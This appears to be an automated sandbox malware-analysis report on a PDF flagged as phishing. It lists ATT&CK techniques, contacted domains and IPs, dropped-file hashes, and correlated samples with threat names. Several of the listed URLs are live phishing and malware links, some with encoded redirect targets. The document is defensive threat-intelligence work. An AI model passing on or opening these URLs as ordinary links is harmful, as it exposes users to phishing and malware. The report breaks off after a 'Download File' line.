Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Users	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
217469812STM.pdf	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Downloads\Unconfirmed 323093.crdownload	24%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\Google.Widevine.CDM.dll	0%	ReversingLabs
Chrome Cache Entry: 306	24%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
https://tektors.sa.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
ssa-account.info	188.114.96.3	true	false	unknown
www.google.com	142.250.184.228	true	false	high
tektors.sa.com	107.182.128.31	true	false	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://tektors.sa.com/favicon.ico	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wieistmeineip.de	sets.json.10.dr	false	high
https://mercadoshops.com.co	sets.json.10.dr	false	high
https://gliadomain.com	sets.json.10.dr	false	high
https://poalim.xyz	sets.json.10.dr	false	high
https://mercadolivre.com	sets.json.10.dr	false	high
https://reshim.org	sets.json.10.dr	false	high
https://nourishingpursuits.com	sets.json.10.dr	false	high
https://medonet.pl	sets.json.10.dr	false	high
https://unotv.com	sets.json.10.dr	false	high
https://mercadoshops.com.br	sets.json.10.dr	false	high
https://joyreactor.cc	sets.json.10.dr	false	high
https://zdrowietvn.pl	sets.json.10.dr	false	high
https://johndeere.com	sets.json.10.dr	false	high
https://songstats.com	sets.json.10.dr	false	high
https://baomoi.com	sets.json.10.dr	false	high
https://supereva.it	sets.json.10.dr	false	high
https://elfinancierocr.com	sets.json.10.dr	false	high
https://bolasport.com	sets.json.10.dr	false	high
https://rws1nvtvt.com	sets.json.10.dr	false	high
https://desimartini.com	sets.json.10.dr	false	high
https://hearty.app	sets.json.10.dr	false	high
https://hearty.gift	sets.json.10.dr	false	high
https://mercadoshops.com	sets.json.10.dr	false	high
https://heartymail.com	sets.json.10.dr	false	high
https://nlc.hu	sets.json.10.dr	false	high
https://p106.net	sets.json.10.dr	false	high
https://radio2.be	sets.json.10.dr	false	high
https://finn.no	sets.json.10.dr	false	high
https://hc1.com	sets.json.10.dr	false	high
https://kompas.tv	sets.json.10.dr	false	high
https://mystudentdashboard.com	sets.json.10.dr	false	high
https://songshare.com	sets.json.10.dr	false	high
https://smaker.pl	sets.json.10.dr	false	high
https://mercadopago.com.mx	sets.json.10.dr	false	high
https://p24.hu	sets.json.10.dr	false	high
https://talkdeskqaid.com	sets.json.10.dr	false	high
https://24.hu	sets.json.10.dr	false	high
https://mercadopago.com.pe	sets.json.10.dr	false	high
https://cardsayings.net	sets.json.10.dr	false	high
https://text.com	sets.json.10.dr	false	high
https://mightytext.net	sets.json.10.dr	false	high
https://pudelek.pl	sets.json.10.dr	false	high
https://hazipatika.com	sets.json.10.dr	false	high
https://joyreactor.com	sets.json.10.dr	false	high
https://cookreactor.com	sets.json.10.dr	false	high
https://wildixin.com	sets.json.10.dr	false	high
https://eworkbookcloud.com	sets.json.10.dr	false	high
https://cognitiveai.ru	sets.json.10.dr	false	high
https://nacion.com	sets.json.10.dr	false	high
https://chennien.com	sets.json.10.dr	false	high
https://drimer.travel	sets.json.10.dr	false	high
https://deccoria.pl	sets.json.10.dr	false	high
https://mercadopago.cl	sets.json.10.dr	false	high
https://talkdeskstgid.com	sets.json.10.dr	false	high
https://naukri.com	sets.json.10.dr	false	high
https://interia.pl	sets.json.10.dr	false	high
https://bonvivir.com	sets.json.10.dr	false	high
https://carcostadvisor.be	sets.json.10.dr	false	high
https://salemovetravel.com	sets.json.10.dr	false	high
https://sapo.io	sets.json.10.dr	false	high
https://wpext.pl	sets.json.10.dr	false	high
https://welt.de	sets.json.10.dr	false	high
https://poalim.site	sets.json.10.dr	false	high
https://drimer.io	sets.json.10.dr	false	high
https://infoedgeindia.com	sets.json.10.dr	false	high
https://blackrockadvisorelite.it	sets.json.10.dr	false	high
https://cognitive-ai.ru	sets.json.10.dr	false	high
https://cafemedia.com	sets.json.10.dr	false	high
https://graziadaily.co.uk	sets.json.10.dr	false	high
https://thirdspace.org.au	sets.json.10.dr	false	high
https://mercadoshops.com.ar	sets.json.10.dr	false	high
https://smpn106jkt.sch.id	sets.json.10.dr	false	high
https://elpais.uy	sets.json.10.dr	false	high
https://landyrev.com	sets.json.10.dr	false	high
https://the42.ie	sets.json.10.dr	false	high
https://commentcamarche.com	sets.json.10.dr	false	high
https://tucarro.com.ve	sets.json.10.dr	false	high
https://rws3nvtvt.com	sets.json.10.dr	false	high
https://eleconomista.net	sets.json.10.dr	false	high
https://helpdesk.com	sets.json.10.dr	false	high
https://mercadolivre.com.br	sets.json.10.dr	false	high
https://clmbtech.com	sets.json.10.dr	false	high
https://standardsandpraiserepurpose.com	sets.json.10.dr	false	high
https://07c225f3.online	sets.json.10.dr	false	high
https://salemovefinancial.com	sets.json.10.dr	false	high
https://mercadopago.com.br	sets.json.10.dr	false	high
https://zoom.us	sets.json.10.dr	false	high
https://commentcamarche.net	sets.json.10.dr	false	high
https://etfacademy.it	sets.json.10.dr	false	high
https://mighty-app.appspot.com	sets.json.10.dr	false	high
https://hj.rs	sets.json.10.dr	false	high
https://hearty.me	sets.json.10.dr	false	high
https://mercadolibre.com.gt	sets.json.10.dr	false	high
https://timesinternet.in	sets.json.10.dr	false	high
https://indiatodayne.in	sets.json.10.dr	false	high
https://idbs-staging.com	sets.json.10.dr	false	high
https://blackrock.com	sets.json.10.dr	false	high
https://idbs-eworkbook.com	sets.json.10.dr	false	high
https://motherandbaby.com	sets.json.10.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.182.128.31	tektors.sa.com	Reserved	11070	META-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	ssa-account.info	European Union	13335	CLOUDFLARENETUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558713
Start date and time:	2024-11-19 18:18:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	217469812STM.pdf
Detection:	MAL
Classification:	mal64.phis.winPDF@50/90@7/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 54.144.73.197, 107.22.247.231, 18.207.85.246, 34.193.227.236, 172.64.41.3, 162.159.61.3, 2.23.197.184, 88.221.168.141, 199.232.210.172, 2.19.126.143, 2.19.126.142, 2.19.126.149, 142.250.185.67, 142.250.186.46, 142.251.168.84, 93.184.221.240, 34.104.35.123, 192.229.221.95, 142.250.186.138, 142.250.186.42, 142.250.184.202, 142.250.181.234, 142.250.185.106, 172.217.18.10, 142.250.186.74, 142.250.185.138, 142.250.185.74, 142.250.185.234, 142.250.185.170, 172.217.23.106, 142.250.185.202, 172.217.16.138, 172.217.18.106, 216.58.206.42, 217.20.57.18, 142.250.186.163, 142.250.186.78
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, clientservices.googleapis.com, acroipm2.adobe.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, optimizationguide-pa.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, edgedl.me.gvt1.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 217469812STM.pdf

Simulations

Behavior and APIs

Time	Type	Description
12:19:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse
	https://svmr0.mjt.lu/lnk/AV8AAFaSoSIAAAAAAAAAA8n01EsAAYKIu-wAAAAAACvDuABnPFfPAMaNPXPJSsuYiTwyR3BbogAoa9Y/1/kV4e_y8Blrzf3PPyRcwmxA/aHR0cHM6Ly9nb29nbGUuY29tL2FtcC9zL25hM3NpZ24uc2JzL2xaOUJhVks4Vks4TEg2clZLOFIxNW5RMDdsWjlCYVZLOFZLOExINnJWSzhSMTVuSlgzWjlCUjE1V1BZ	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse
	NW_EmployerNewsletter_11142024_pdf.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://google.com/amp/s/storage.googleapis.com/49849844877/j0htjd3c57qbxqo95o8y8539efonkjievx55ax9wajxz4bsbs0i-sele6jz88a1rq45sxfmxy9judtbr3v3hrgryrc2p8a.html	Get hash	malicious	Unknown	Browse
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse
	https://muaviagiare.vn/myminfin	Get hash	malicious	Unknown	Browse
	https://go.smarticket.co.il/ls/click?upn=u001.fgiCeFBep9-2Bp-2BI-2FBS-2FQzpC2xjyJy-2F3Vyk7Il68bLLvPtf3ylvqCBA6C4EKNjzvjnO7DmxwgRAXuVTKqXeWWK-2FRyQMKjq9z-2BeZ1OwQD7V12gscv6zX7-2Fcxb55J0EV8f1Ampt81io8dhDiURp87hwByg-3D-3DPZ85_0T32ClFdYnPySZLQz4syRr7AwaED9TGwCQfdVJE24C8qx-2FghFyENLTwUUG0FX6F78aPynA7LKVT6R5ntoQlQZb9fRs8iNVA2HWvcmmoeVoX5U4BkQXE1rGek-2BllU6xjoddV3OqcFS-2BzUe7QEf-2FVzWmQq7Hr-2FUf1AtbONCJrBpjucqxB4DYLng3LY-2BDrUntPLxYfeHfTgJA-2BRFnv1g1-2FOyg-3D-3D	Get hash	malicious	Unknown	Browse
188.114.96.3	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/7pdXjNKP/download
	gusetup.exe	Get hash	malicious	Unknown	Browse	go.glarysoft.com/g/t/releasenotes/cn/10000/s/Glary%20Utilities/v/6.16.0.20
	BlgAsBdkiD.exe	Get hash	malicious	FormBook	Browse	www.vrxlzluy.shop/d8g5/
	Facebook_Advertiser_Position_Description.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
	https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/graylinelaketahoe.com&c=E,1,BWhR2At2OZAdw2Kzdn7d-U-fLZRdgzpdTFbcA87JOQxek-SzsLBqKBG-KMVpA5JovWFRbO4mN3q2zPe1YDaTOG57b4G9v05-IgsJXqrG4om_58_65Os9ldlZ&typo=1	Get hash	malicious	Unknown	Browse	graylinelaketahoe.com/
	View Pdf Doc_a42d45ecadd4b9604949c99fe71e46fe.htm	Get hash	malicious	Unknown	Browse	jssqm.nhgrt.top/WjBkrg/34JSSQm34?&&2yq=bC5zY2FybGF0ZWxsaUBhbG1hdml2YS5pdA%3D%3D

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	zhbEGHo55P.exe	Get hash	malicious	LockBit ransomware	Browse	217.20.57.20
	New.Order Request-#54576.scr	Get hash	malicious	Unknown	Browse	212.229.88.13
	file.exe	Get hash	malicious	Credential Flusher	Browse	217.20.57.20
	Airtame-4.11.0-setup.msi	Get hash	malicious	Unknown	Browse	217.20.57.35
	Fluor RFQ1475#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	217.20.57.19
	DRP130636747.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	87654785457596574686FKHN-Copy.pdf	Get hash	malicious	Phisher	Browse	217.20.57.35
	Annual_Benefits_&_Bonus_for_Lorne.zuck#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	84.201.210.39
	purchase order (2).xls	Get hash	malicious	Unknown	Browse	217.20.57.19
	new.bat	Get hash	malicious	Unknown	Browse	84.201.212.67
bg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.210.172
	beacon_x64.exe	Get hash	malicious	CobaltStrike	Browse	199.232.210.172
	DellTpm1.2_Fw5.81.2.1_V3_64.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (7).eml	Get hash	malicious	Unknown	Browse	199.232.210.172
	New.Order Request-#54576.scr	Get hash	malicious	Unknown	Browse	199.232.214.172
	nested-postacert.eml	Get hash	malicious	Unknown	Browse	199.232.210.172
	nowe zam#U00f3wienie.exe	Get hash	malicious	Snake Keylogger	Browse	199.232.210.172
	PHA AL PO.vbs	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
META-ASUS	d5a0aabdcffd82e4ef4eb190884c48b21291728680901dffae16813298a10830.exe	Get hash	malicious	Bdaejec, GCleaner, Nymaim	Browse	107.182.129.235
	9608e7d593a0671671e3b7e23d1b1fcfe49a5f84da9d2e0c5560d63b091acd83.exe	Get hash	malicious	Bdaejec, GCleaner, Nymaim	Browse	107.182.129.235
	508d7b73983eafe87b28017174258977f48fc25b9ad2e00595a9d43de40aafd7.exe	Get hash	malicious	Bdaejec, GCleaner, Nymaim	Browse	107.182.129.235
	cOhVA9RNQH.elf	Get hash	malicious	Unknown	Browse	107.182.128.2
	X0XwYzy89z.elf	Get hash	malicious	Unknown	Browse	107.182.128.2
	vsL6ORByI3.elf	Get hash	malicious	Unknown	Browse	107.182.128.2
	1CcVHQZYqY.elf	Get hash	malicious	Unknown	Browse	107.182.128.2
	J7xAhY3ILR.elf	Get hash	malicious	Unknown	Browse	107.182.128.2
	XTodlTojbl.elf	Get hash	malicious	Mirai	Browse	107.182.128.2
	Va82JacCbA.elf	Get hash	malicious	Unknown	Browse	107.182.128.2
CLOUDFLARENETUS	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	172.67.211.61
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://svmr0.mjt.lu/lnk/AV8AAFaSoSIAAAAAAAAAA8n01EsAAYKIu-wAAAAAACvDuABnPFfPAMaNPXPJSsuYiTwyR3BbogAoa9Y/1/kV4e_y8Blrzf3PPyRcwmxA/aHR0cHM6Ly9nb29nbGUuY29tL2FtcC9zL25hM3NpZ24uc2JzL2xaOUJhVks4Vks4TEg2clZLOFIxNW5RMDdsWjlCYVZLOFZLOExINnJWSzhSMTVuSlgzWjlCUjE1V1BZ	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	188.114.96.3
	NW_EmployerNewsletter_11142024_pdf.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	MVV ALIADO - S-REQ-19-00064 40ft 1x20.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC	Browse	104.21.81.208

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	file.exe	Get hash	malicious	Remcos	Browse	23.206.229.226
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	http://eliztalks.com/js.php?device=windows&ip=MTk5LjE2OC41OC4xMTM=&refferer=aHR0cHM6Ly93d3cuc3JhbWFuYW1pdHJhLmNvbS8yMDI0LzExLzE2L3NjYWxpbmctdG8tNTAwbS1pbi1yZXZlbnVlLW1vZG1lZC1jZW8tZGFuaWVsLWNhbmUtcGFydC0yLw==&browser=Q2hyb21l&ua=bW96aWxsYS81LjAgKHdpbmRvd3MgbnQgMTAuMDsgd2luNjQ7IHg2NCkgYXBwbGV3ZWJraXQvNTM3LjM2IChraHRtbCwgbGlrZSBnZWNrbykgY2hyb21lLzEzMS4wLjAuMCBzYWZhcmkvNTM3LjM2&domain=aHR0cHM6Ly9lbGl6dGFsa3MuY29t&loc=VVM=&is_ajax=1	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	http://eliztalks.com/wp-config.js	Get hash	malicious	Unknown	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://svmr0.mjt.lu/lnk/AV8AAFaSoSIAAAAAAAAAA8n01EsAAYKIu-wAAAAAACvDuABnPFfPAMaNPXPJSsuYiTwyR3BbogAoa9Y/1/kV4e_y8Blrzf3PPyRcwmxA/aHR0cHM6Ly9nb29nbGUuY29tL2FtcC9zL25hM3NpZ24uc2JzL2xaOUJhVks4Vks4TEg2clZLOFIxNW5RMDdsWjlCYVZLOFZLOExINnJWSzhSMTVuSlgzWjlCUjE1V1BZ	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 20.12.23.50
	https://google.com/amp/s/storage.googleapis.com/49849844877/j0htjd3c57qbxqo95o8y8539efonkjievx55ax9wajxz4bsbs0i-sele6jz88a1rq45sxfmxy9judtbr3v3hrgryrc2p8a.html	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	Remcos	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 20.12.23.50
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	184.28.90.27 20.12.23.50
	EIR5pTRn9R.exe	Get hash	malicious	DragonForce	Browse	184.28.90.27 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\Google.Widevine.CDM.dll	NW_EmployerNewsletter_11142024_pdf.html	Get hash	malicious	Unknown	Browse
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse
	11sds_Invoice_9334749.html	Get hash	malicious	WinSearchAbuse	Browse
	Request_for_Title_Commitment.html	Get hash	malicious	Unknown	Browse
	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Get hash	malicious	Unknown	Browse
	E7X-XIZ5.eml	Get hash	malicious	Unknown	Browse
	Eversheds-sutherland-INV39212-3_230470352.doc	Get hash	malicious	Unknown	Browse
	THE COSTS INCURRED PENDING (1).pdf	Get hash	malicious	Unknown	Browse
	Complete_with_DocuSign_49584.pdf	Get hash	malicious	HTMLPhisher	Browse
	#U25b6#Ufe0fVoice_mail_02309_wav0015.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.154574573339069
Encrypted:	false
SSDEEP:	6:HUWOEMq2PCHhJ2nKuAl9OmbnIFUt8YUWkXPZmw+YUWkXdkwOCHhJ2nKuAl9Ombjd:pMvBHAahFUt87/+R56HAaSJ
MD5:	9867EFBC5E4D27C0D7F70186A1DBB1CF
SHA1:	E883BC44C0963177ECB78771F75FE35D4E6F248C
SHA-256:	9DCD22E303B87351EB73ECBDF0CB277FE3B9B1E25411753D806CBF5D76139832
SHA-512:	183C565CDAA9DA45BD4844A93F2324CC048359795A7A17CC3A67ED6F3E6573F34CCA49482445A708BA8DDF15BF6AF30C1CCDC26DB6A3F5570AC42876C6705A0B
Malicious:	false
Reputation:	low
Preview:	2024/11/19-12:19:05.148 1214 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/19-12:19:05.152 1214 Recovering log #3.2024/11/19-12:19:05.152 1214 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.154574573339069
Encrypted:	false
SSDEEP:	6:HUWOEMq2PCHhJ2nKuAl9OmbnIFUt8YUWkXPZmw+YUWkXdkwOCHhJ2nKuAl9Ombjd:pMvBHAahFUt87/+R56HAaSJ
MD5:	9867EFBC5E4D27C0D7F70186A1DBB1CF
SHA1:	E883BC44C0963177ECB78771F75FE35D4E6F248C
SHA-256:	9DCD22E303B87351EB73ECBDF0CB277FE3B9B1E25411753D806CBF5D76139832
SHA-512:	183C565CDAA9DA45BD4844A93F2324CC048359795A7A17CC3A67ED6F3E6573F34CCA49482445A708BA8DDF15BF6AF30C1CCDC26DB6A3F5570AC42876C6705A0B
Malicious:	false
Reputation:	low
Preview:	2024/11/19-12:19:05.148 1214 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/19-12:19:05.152 1214 Recovering log #3.2024/11/19-12:19:05.152 1214 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1712083982944455
Encrypted:	false
SSDEEP:	6:HUWIaq2PCHhJ2nKuAl9Ombzo2jMGIFUt8YUWI8SZmw+YUWI8ekwOCHhJ2nKuAl97:4avBHAa8uFUt8Z8S/+Z8e56HAa8RJ
MD5:	485AD0043A15610367A5C26EA1032A27
SHA1:	CA86B508D0252DD6B445AA168418EDC835F8AA98
SHA-256:	4758C0E4E48CF7E6B2E5AFCA52A407ECDAF4A1646CB17B527E3AAC0B0AC471AD
SHA-512:	05849B8B330B9720AFA5E2E7DC9F0EAEE050147F75C780ECB09E1FAEE01A15C317C00A1CA159C335FF291067ED19E02D20EC781A6F35105F098B3133076915A7
Malicious:	false
Reputation:	low
Preview:	2024/11/19-12:19:05.245 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/19-12:19:05.247 1c30 Recovering log #3.2024/11/19-12:19:05.247 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

